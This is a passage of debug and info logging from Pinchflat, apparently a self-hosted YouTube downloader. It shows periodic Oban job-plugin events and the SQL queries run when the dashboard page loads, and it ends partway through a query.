{"source":"oban","duration":3566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:11.328 [info] {"source":"oban","duration":3173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:41.334 [info] {"source":"oban","duration":4646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.726 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:11.336 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:41.339 [info] {"source":"oban","duration":1994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.729 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:11.341 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:41.343 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.733 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:11.345 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:41.350 [info] {"source":"oban","duration":4426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.738 [info] {"source":"oban","duration":4618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:11.352 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:41.354 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.739 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:11.356 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:41.359 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.740 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:11.362 [info] {"source":"oban","duration":3121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:41.366 [info] {"source":"oban","duration":2659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.743 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:11.370 [info] {"source":"oban","duration":2700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:41.371 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.744 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:11.373 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:41.381 [info] {"source":"oban","duration":5179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.748 [info] {"source":"oban","duration":3332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:11.383 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:39.035 [info] GET / 21:55:39.035 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:55:39.036 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1926.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:39.036 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1171.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:55:39.037 [debug] QUERY OK source="sources" db=0.8ms idle=927.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:55:39.038 [debug] QUERY OK source="media_items" db=0.3ms queue=0.3ms idle=928.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:55:39.039 [debug] QUERY OK source="media_items" db=0.3ms idle=172.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:55:39.040 [debug] QUERY OK source="settings" db=0.4ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:39.040 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:39.041 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:55:39.043 [debug] QUERY OK source="tasks" db=0.5ms idle=3.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:55:39.044 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:55:39.045 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:55:39.046 [debug] QUERY OK source="sources" db=0.4ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:55:39.049 [debug] QUERY OK source="media_items" db=0.4ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:55:39.050 [debug] QUERY OK source="media_items" db=0.7ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:55:39.051 [info] Sent 200 in 16ms 21:55:41.385 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.753 [info] {"source":"oban","duration":4214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:11.387 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:41.389 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.755 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:11.391 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:41.393 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.757 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:11.395 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:41.397 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.760 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:11.399 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:41.403 [info] {"source":"oban","duration":2605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.763 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:00:11.405 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:41.407 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.764 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:11.410 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:41.412 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.769 [info] {"source":"oban","duration":3760,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:11.414 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:41.416 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.772 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:11.423 [info] {"source":"oban","duration":5990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:41.425 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.776 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:11.427 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:41.431 [info] {"source":"oban","duration":2382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.777 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:11.433 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:41.435 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.781 [info] {"source":"oban","duration":2913,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:11.437 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:41.439 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:56.185 [info] GET / 22:06:56.185 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:06:56.190 [debug] QUERY OK source="settings" db=4.6ms queue=0.4ms idle=1037.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.197 [debug] QUERY OK source="media_profiles" db=5.2ms queue=0.3ms idle=1042.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:06:56.203 [debug] QUERY OK source="sources" db=1.6ms queue=2.5ms idle=1050.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:06:56.210 [debug] QUERY OK source="media_items" db=7.0ms queue=0.3ms idle=1017.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:06:56.215 [debug] QUERY OK source="media_items" db=4.0ms queue=0.1ms idle=22.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:06:56.219 [debug] QUERY OK source="settings" db=1.1ms queue=0.3ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.223 [debug] QUERY OK source="settings" db=3.6ms queue=0.8ms idle=22.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.228 [debug] QUERY OK source="settings" db=0.7ms queue=1.0ms idle=23.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.232 [debug] QUERY OK source="tasks" db=2.2ms idle=19.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:06:56.235 [debug] QUERY OK source="media_items" db=0.8ms queue=0.9ms idle=19.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:06:56.242 [debug] QUERY OK source="media_items" db=3.9ms queue=0.2ms idle=19.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:06:56.246 [debug] QUERY OK source="sources" db=1.4ms queue=0.4ms idle=20.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:06:56.255 [debug] QUERY OK source="media_items" db=2.3ms idle=24.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:06:56.259 [debug] QUERY OK source="media_items" db=2.7ms queue=0.5ms idle=23.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:06:56.263 [info] Sent 200 in 78ms 22:06:56.321 [info] GET / 22:06:56.323 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:06:56.334 [debug] QUERY OK source="settings" db=10.6ms queue=0.1ms idle=88.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.336 [debug] QUERY OK source="media_profiles" db=1.0ms queue=0.2ms idle=92.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:06:56.340 [debug] QUERY OK source="sources" db=2.0ms queue=0.5ms idle=90.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:06:56.342 [debug] QUERY OK source="media_items" db=1.4ms queue=1.0ms idle=85.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:06:56.345 [debug] QUERY OK source="media_items" db=1.3ms queue=0.7ms idle=84.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:06:56.348 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=11.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.349 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.353 [debug] QUERY OK source="settings" db=0.8ms queue=0.4ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:06:56.356 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=12.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:06:56.359 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=13.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:06:56.363 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=12.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:06:56.371 [debug] QUERY OK source="sources" db=3.2ms queue=0.2ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:06:56.394 [debug] QUERY OK source="media_items" db=2.3ms queue=1.0ms idle=38.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN 